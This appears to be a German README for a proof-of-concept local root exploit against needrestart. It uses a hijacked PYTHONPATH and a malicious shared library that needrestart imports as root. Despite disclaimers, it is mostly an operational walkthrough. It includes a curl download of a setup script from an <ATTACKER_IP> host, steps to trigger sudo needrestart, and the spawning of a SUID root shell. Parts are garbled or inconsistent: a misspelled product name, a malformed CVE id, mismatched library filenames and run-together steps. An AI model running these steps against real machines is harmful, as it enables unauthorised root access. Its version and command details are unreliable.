
PoC-Exploit für CVE-2024-4890: Sudo-Privilegieneskalation über neecdrestart (>=3.8). Nur für ethische Labore. Skripte in Python und C.
Nur für Labornutzung in kontrollierten Umgebungen. Nutzen Sie dies nicht auf Produktionssystemen ohne ausdrückliche Genehmigung. Dieser PoC dient ausschließlich zu Bildungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch oder unbefugten Zugriff.
CVE-2024-4890 ist eine kritische Schwachstelle in needrestart (Versionen >= 3.8), die die Ausführung beliebigen Codes mit erhöhten Rechten ermöglicht. Das Problem beruht auf unsicherer Behandlung von Umgebungsvariablen und Konfigurationsdateien während des Prozess-Scannings.
Konkret prüft needrestart, wenn es mit sudo ausgeführt wird, laufende Python-Prozesse einschließlich deren Umgebungsvariable PYTHONPATH. Ein Angreifer kann dies kapern, indem er einen eigenen PYTHONPATH setzt, der auf ein kontrolliertes Verzeichnis (z. B. /tmp/attacker) zeigt. In diesem Verzeichnis wird ein bösartiges Modul (__init__.so) in einer gefälschten importlib-Struktur platziert. Wenn needrestart versucht, es als root zu importieren (um Bibliotheken zu prüfen), wird der Payload ausgeführt und gewährt Root-Zugriff.
Dieser PoC demonstriert den Exploit mittels eines Köder-Python-Prozesses, einer bösartigen Shared Library (aus C kompiliert) und eines Automatisierungsskripts.
needrestart >= 3.8 und sudo-Zugriff darauf.gcc (zum Kompilieren), curl, python3.Platziere diese in /tmp/attacker auf der Zielmaschine.
e.py: Köder-Python-Skript (läuft in einer Schleife, wartet auf erfolgreichen Payload).runner.sh: Automatisierungsskript zum Einrichten und Auslösen des Köders.lib.c zu __init__.so und stelle es bereit:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
Zielmaschine (Opfer):
/tmp/attacker.main.pyrunner.sh herunter und mache es ausführbar:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
Führe das Setup in einem Terminal aus:
cd /tmp/attacker && ./runner.sh
Dies erstellt das bösartige Modul, das Köder-Skript und startet den gekaperten Python-Prozess.
sudo /usr/sbin/needrestartneedrestart erkennt den Köderprozess, liest PYTHONPATH und importiert das bösartige __init__.so als root – wodurch der Payload ausgeführt wird.
runner.sh-Terminal):/tmp/poc (durch Payload erzeugte SUID-Root-Shell) und startet eine Root-Shell:
sudo /tmp/poc -p
Aufräumen: rm -rf /tmp/attacker /tmp/poc (und sudoers-Eintrag entfernen, falls hinzugefügt).Erfolgsindikator: whoami zeigt root oder id zeigt uid=0(root).